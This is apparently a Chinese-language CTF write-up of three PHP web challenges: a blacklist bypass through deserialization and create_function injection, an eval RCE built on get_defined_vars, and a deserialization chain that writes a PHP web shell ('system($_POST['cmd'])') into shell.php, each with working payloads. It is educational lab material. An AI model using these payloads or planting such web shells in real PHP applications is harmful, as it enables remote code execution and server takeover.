WEB(骗你的其实只写了web)

Bypass

首先进行php源码审计,其实会发现和bugku上面一道题目十分相似

unserialize-Noteasy – Bugku CTF平台

关于这题我的解答:关于反序列化的一点总结 – 浮璃的日记(前置芝士)

<?php
class FLAG
{
    private $a;
    protected $b;
    public function __construct($a, $b)
        {
            $this->a = $a;
            $this->b = $b;
            $this->check($a,$b);
            eval($a.$b);
        }
    public function __destruct(){
            $a = (string)$this->a;
            $b = (string)$this->b;
            if ($this->check($a,$b)){
                $a("", $b);
            }
            else{
                echo "Try again!";
            }
        }
    private function check($a, $b) {
        $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
        $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

        $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
        $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

        if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
            return false;
        }
        return true;
    }  
}


if (isset($_GET['exp'])) {
    $p = unserialize($_GET['exp']);
    var_dump($p);
}else{
    highlight_file("index.php");
}

这里看到也是定义了两个属性a和b,依旧是将a作为函数调用,b作为参数传参

因为刚整理完bugku那题,瞪眼法看出是create_function函数知识点

因此,我们将a赋值为

$a = “\create_function”;这里刚好也绕过了黑名单(预判出题人这一块)(bushi

而b在此多了一些限制:

$blocked_b = [‘find’, ‘filter’, ‘c’, ‘pa’, ‘proc’, ‘dir’, ‘regexp’, ‘n’, ‘alter’, ‘load’, ‘grep’, ‘o’, ‘file’, ‘t’, ‘w’, ‘insert’, ‘sort’, ‘h’, ‘sy’, ‘\.\.’, ‘array’, ‘sh’, ‘touch’, ‘e’, ‘php’, ‘f’];

这里黑名单限制还是相当死的,把payload常用的e,f,c等都过滤掉了,直接catflag肯定是不行的。

那么我们的解题核心就变成了:
如何对$b = “}system(‘tac /flag’);/*”;进行黑名单绕过

这里我们拆成三个部分来看:system;cat;flag

flag是最好解决的绕过,这里没有ban”?”,所以我们可以直接将/flag改写为/???g
–>匹配 4 个字符、第 4 个是 g → /flag

 

在 PHP 的 system()shell_exec() 中默认使用 /bin/sh,支持通配符。

但如果命令被 execve 直接调用(不经过 shell),通配符不会生效

而system的绕过则是利用了另一种近似写法:反引号

这里插叙一下反引号,system,shell_exec()三者的作用和区别:

1.system()

功能

  • 执行外部 shell 命令(如 lswhoamicat /etc/passwd)。
  • 直接将命令的输出打印到标准输出(stdout),即网页上会直接显示结果。
  • 可选第二个参数 $return_var 用于获取命令的退出状态码(0 表示成功,非0表示失败)。
  • 返回值:返回命令执行的最后一行输出(注意:不是全部输出),如果失败则返回 false

 

简单来说,system的输出会自动回显(无需 echo)。在 CTF 中常用于快速回显 flag,也就是在页面上直接返回结果

2.反引号(Backticks)`...`

功能

    • 反引号是 shell_exec()语法糖(等价写法)。

    • 执行 shell 命令,并返回完整的标准输出(stdout)作为字符串

    • 不会自动输出到浏览器,必须用 echo 才能看到。

简单来说,返回全部输出(不是最后一行)。仅捕获 stdout,stderr 不会被捕获(除非重定向)。

另外,在启用了 safe_modedisable_functions 时可能被禁用。

⚠️ 注意:反引号在双引号字符串中不会被解释为命令执行,只有在顶层表达式中才有效。

3. shell_exec()

功能

    • 与反引号完全等价。

    • 执行命令并返回完整输出(stdout)作为字符串

    • 不自动输出,需 echo 显示。

    • 如果命令没有输出或执行失败,可能返回 null

特点

    • 与反引号功能一致,但更清晰(可读性更好)。

    • 常用于需要捕获完整输出的脚本中。

特性 system() 反引号 `cmd` shell_exec()
是否自动输出 ✅ 是(直接打印) ❌ 否(需 echo ❌ 否(需 echo
返回值 最后一行输出 或 false 完整 stdout 输出 完整 stdout 输出
等价关系 等价于 shell_exec() 等价于反引号
捕获 stderr ❌(除非重定向) ❌(除非重定向) ❌(除非重定向)
区别 (默认直接输出) (返回字符串需 echo 才能看到) (返回字符串需 echo 才能看到)

最后,对于cat进行绕过,我们使用的的是xxd这个工具

xxd 是一个 Linux 下的命令行工具,用于将文件或数据转换为十六进制格式显示,类似于十六进制查看器。
介绍文档:https://www.runoob.com/linux/linux-comm-xxd.html

那我们现在得到了什么呢?
\$a = “\\create_function”;
$b = ‘}(`xxd /???g );/*’;

似乎还缺了什么…

没错,由于我们使用了 `…` 而不是system,我们命令执行的结果并不会直接会先到页面上,我们需要先将其输出到某一个页面再访问其对应页面

将b改为

$b = ‘}(`xxd /???g > ./2`);/*’;
这样,当我们访问/2界面时,就可以得到flag
 

ezrce

打开容器,看到一段php代码:

“<?php
highlight_file(__FILE__);

if(isset($_GET[‘code’])){
    \$code = $_GET[‘code’];
    if (preg_match(‘/^[A-Za-z\(\)_;]+$/’, $code)) {
        eval($code);
    }else{
        die(‘师傅,你想拿flag?’);
    }
}

重点关注这里的黑名单:preg_match(‘/^[A-Za-z\(\)_;]+$/’, $code)

含义解析:
^:字符串开始
[A-Za-z\(\)_;]+:一个或多个上述允许的字符
注意:括号 ( 和 ) 在字符类 […] 中不需要转义,但这里用了反斜杠 \( 和 \),虽然在 PHP 的 PCRE 中这样写也可以(会被当作普通字符),但其实可简写为 ()
$:字符串结束

所以,它等效于preg_match(‘/^[A-Za-z();_]+$/’, $code)

 

get_defined_vars()函数运行返回一个数组并且第一个参数是$_GET

于是我们用current这个函数来获得第一个参数,再用end获得最后一个参数,比如对于eval(end(current(get_defined_vars()))),current(get_defined_vars())得到$_GET数组,end($_GET)取$_GET的最后一个元素,即$_GET[‘b’]=”system(‘ls /’);”相当于最后就执行了eval(“system(‘ls /’);”)

payload:/?code=eval(end(current(get_defined_vars())));&c=system(‘cat /flag’);

 

 

 

 

来签个到吧

吐槽一下,这真的是签到题吗…

class.php

				
					<?php
class FileLogger {
public $logfile = "/tmp/notehub.log";
public $content = "";
public function __construct($f=null) {
if ($f) {
$this->logfile = $f;
}
}
public function write($msg) {
$this->content .= $msg . "\n";
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
public function __destruct() {
if ($this->content) {
file_put_contents($this->logfile, $this->content, FILE_APPEND); #漏洞点可以执行写马执行任意文件读取
} #刚好在destruct类里对象销毁时自动执行,不需要其他函数去调用它,所以这是一条单节点链
}
}

class ShitMountant {
public $url;
public $logger;
public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger();
}
public function fetch() {
$c = file_get_contents($this->url);
if ($this->logger) {
$this->logger->write("fetched ==> " . $this->url);
}
return $c;
}
public function __destruct() {
$this->fetch();
}
}
?>
				
			
				
					<?php

require_once "./config.php";

require_once "./classes.php";

if ($_SERVER["REQUEST_METHOD"] === "POST") {
$s = $_POST["shark"] ?? '喵喵喵?';
if (str_starts_with($s, "blueshark:")) {
$ss = substr($s, strlen("blueshark:")); #只要我们通过POST传入参数,去掉前缀后,剩余的字符串会被反序列化。反序列化生成的对象在脚本结束时会被销毁,自动触发 __destruct()。
$o = @unserialize($ss); #入口点
$p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
$p->execute([$ss]);
echo "save sucess!";
exit(0);
} else {
echo "喵喵喵?";
exit(1);
}
}
$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);
?>
				
			

class FileLogger {

public $logfile = “shell.php”;

public $content = “<?php system($_POST[‘cmd’]);?>”;

}

构造链子(开头是blueshark防替换)

blueshark:O:10:”FileLogger”:2:{s:7:”logfile”;s:9:”shell.php”;s:7:”content”;s:30:”<?php system($_POST[‘cmd’]);?>”;}

先POST马进去,再执行rce

 

 

Who am i?

此作者没有提供个人介绍。
最后更新于 2025-12-21